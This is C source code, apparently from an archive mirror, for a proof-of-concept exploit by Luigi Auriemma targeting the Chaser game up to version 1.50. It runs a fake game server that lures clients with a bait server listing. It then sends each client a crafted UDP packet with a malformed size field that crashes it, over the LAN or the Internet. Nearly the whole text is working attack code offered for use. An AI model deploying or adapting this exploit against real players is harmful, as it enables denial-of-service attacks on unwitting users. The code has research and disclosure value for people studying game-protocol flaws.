home *** CD-ROM | disk | FTP | other *** search
- /*
-
- by Luigi Auriemma
-
- UNIX & WIN VERSION
- */
-
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include "chaser_crc.h"
-
- #ifdef WIN32
- #include <malloc.h>
- #include <winsock.h>
- #include "winerr.h"
-
- #define close closesocket
- DWORD tid1;
- HANDLE thandle;
- #else
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <pthread.h>
-
- pthread_t tid1;
- int thandle;
- #endif
-
-
-
-
-
- #define VER "0.1"
- #define BUFFSZ 2048
- #define PORT 3000
- #define LANPORT 8778
- #define CHASER "chaser" /* use "chaserd" to test the demo */
- #define INFO "\\hostname\\Come here and crash" \
- "\\gamever\\1.500" \
- "\\gamename\\" CHASER \
- "\\hostport\\3000" \
- "\\mapname\\Pandora II" \
- "\\gametype\\DM" \
- "\\numplayers\\3" \
- "\\maxplayers\\6" \
- "\\gamemode\\openplaying" \
- "\\password\\0" \
- "\\player_0\\go_down" \
- "\\player_1\\DoS" \
- "\\player_2\\Mr.crash" \
- "\\score_0\\2" \
- "\\score_1\\4" \
- "\\score_2\\5" \
- "\\ping_0\\15" \
- "\\ping_1\\271" \
- "\\ping_2\\175" \
- "\\team_0\\0" \
- "\\team_1\\0" \
- "\\team_2\\0" \
- "\\final\\" \
- "\\queryid\\1.1"
-
-
-
-
-
- #ifdef WIN32
- static DWORD WINAPI infoz(void *null);
- #else
- static void *infoz(void *null);
- #endif
- void std_err(void);
-
-
-
-
-
-
- int main(int argc, char *argv[]) {
- int sd,
- err,
- on = 1,
- psz;
- struct sockaddr_in peer;
- u_char *buff,
- pck[] =
- "\x00"
- "\x00\x00" // checksum
- "\x00\x00\xFF"
- "\xff\xff" // <--- packet size BUG
- "\x00\x00\x00\x00\x00\x00";
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "Chaser <= 1.50 remote client crash (both LAN and Internet) "VER"\n"
- "by Luigi Auriemma\n"
- "e-mail: aluigi@altervista.org\n"
- "web: http://aluigi.altervista.org\n"
- "\n", stdout);
-
- #ifdef WIN32
- WSADATA wsadata;
- WSAStartup(MAKEWORD(1,0), &wsadata);
- #endif
-
- peer.sin_addr.s_addr = INADDR_ANY;
- peer.sin_port = htons(PORT);
- peer.sin_family = AF_INET;
- psz = sizeof(peer);
-
- printf("Binding UDP port %u\n", PORT);
-
- sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- if(sd < 0) std_err();
-
- err = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
- if(err < 0) std_err();
- err = bind(sd, (struct sockaddr *)&peer, psz);
- if(err < 0) std_err();
-
-
- #ifdef WIN32
- thandle = CreateThread(NULL, 0, infoz, 0, 0, &tid1);
- if(!thandle) {
- #else
- thandle= pthread_create(&tid1, NULL, infoz, NULL);
- if(thandle != 0) {
- #endif
- fputs("\nError: Cannot create the thread\n", stdout);
- exit(1);
- }
-
-
- buff = malloc(BUFFSZ);
- if(!buff) std_err();
-
- *(u_short *)(pck + 1) = chaser_crc(pck + 3, sizeof(pck) - 4);
-
- fputs("\nClients:\n", stdout);
-
- while(1) {
- err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
- if(err < 0) std_err();
-
- if(*buff == '\\') { /* information query */
- printf("info %s:%hu\n",
- inet_ntoa(peer.sin_addr), htons(peer.sin_port));
-
- err = sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, psz);
- if(err < 0) std_err();
- continue;
- }
-
- printf("BOOM %s:%hu\n",
- inet_ntoa(peer.sin_addr), htons(peer.sin_port));
-
- err = sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, psz);
- if(err < 0) std_err();
- }
-
- close(sd);
- return(0);
- }
-
-
-
-
-
- #ifdef WIN32
- static DWORD WINAPI infoz(void *null) {
- #else
- static void *infoz(void *null) {
- #endif
- int sd,
- err,
- on = 1,
- psz;
- u_char *buff,
- pck[] = /* modify it if you want, it is simple */
- "\x00\x00\x00\x00\x00"
- "hostname\0" "Come here and crash\0"
- "gamever\0" "1.500\0"
- "gamename\0" CHASER"\0"
- "hostport\0" "3000\0"
- "mapname\0" "Building Site\0"
- "gametype\0" "DM\0"
- "numplayers\0" "1\0"
- "maxplayers\0" "8\0"
- "gamemode\0" "openplaying\0"
- "password\0" "0\0"
- "\0" "\0"
- "\x01"
- "player_\0" "score_\0" "ping_\0" "team_\0" "\0"
- "0\0" "0\0" "17\0" "0\0"
- "\x01\x00";
- struct sockaddr_in peer;
-
- peer.sin_addr.s_addr = INADDR_ANY;
- peer.sin_port = htons(LANPORT);
- peer.sin_family = AF_INET;
- psz = sizeof(peer);
-
- printf("Binding information UDP port %u (used only in LAN)\n", LANPORT);
-
- sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- if(sd < 0) std_err();
-
- err = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
- if(err < 0) std_err();
- err = bind(sd, (struct sockaddr *)&peer, psz);
- if(err < 0) std_err();
-
- *(u_short *)(pck + 1) = chaser_crc(pck + 3, sizeof(pck) - 4);
-
- buff = alloca(BUFFSZ);
- if(!buff) std_err();
-
- while(1) {
- err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
- if(err < 0) std_err();
-
- printf("infoLAN %s:%hu\n",
- inet_ntoa(peer.sin_addr), htons(peer.sin_port));
-
- err = sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, psz);
- if(err < 0) std_err();
- }
-
- return(0);
- }
-
-
-
-
-
-
- #ifndef WIN32
- void std_err(void) {
- perror("\nError");
- exit(1);
- }
- #endif
-
-
-
-